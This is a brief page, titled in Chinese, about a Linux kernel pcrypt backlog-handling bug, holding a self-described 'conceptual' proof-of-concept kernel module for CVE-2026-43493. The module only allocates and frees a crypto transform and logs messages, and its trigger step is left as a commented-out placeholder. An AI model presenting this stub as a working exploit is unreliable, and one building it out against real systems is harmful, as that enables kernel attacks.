Linux内核pcrypt模块MAY_BACKLOG请求处理漏洞

/* * PoC for CVE-2026-43493 (Conceptual) * This module attempts to trigger the pcrypt MAY_BACKLOG handling issue. * Compile with: make -C /lib/modules/$(uname -r)/build M=$(pwd) modules */ #include <linux/module.h> #include <linux/kernel.h> #include <linux/crypto.h> #include <linux/err.h> static int __init poc_init(void) { struct crypto_aead *tfm; int ret; printk(KERN_INFO "CVE-2026-43493 PoC: Loading...\n"); // Allocate a transform that uses pcrypt (e.g., aes-gcm) tfm = crypto_alloc_aead("pcrypt(aes-gcm)", 0, 0); if (IS_ERR(tfm)) { printk(KERN_INFO "CVE-2026-43493 PoC: Failed to allocate tfm\n"); return PTR_ERR(tfm); } // In a real exploit scenario, one would flood the queue // to force EBUSY and observe the incorrect EINPROGRESS filtering. // This requires specific hardware or software driver conditions. printk(KERN_INFO "CVE-2026-43493 PoC: Triggering condition...\n"); // Simulate payload trigger logic here // ret = trigger_backlog_condition(tfm); crypto_free_aead(tfm); return 0; } static void __exit poc_exit(void) { printk(KERN_INFO "CVE-2026-43493 PoC: Unloading...\n"); } module_init(poc_init); module_exit(poc_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("PoC for CVE-2026-43493");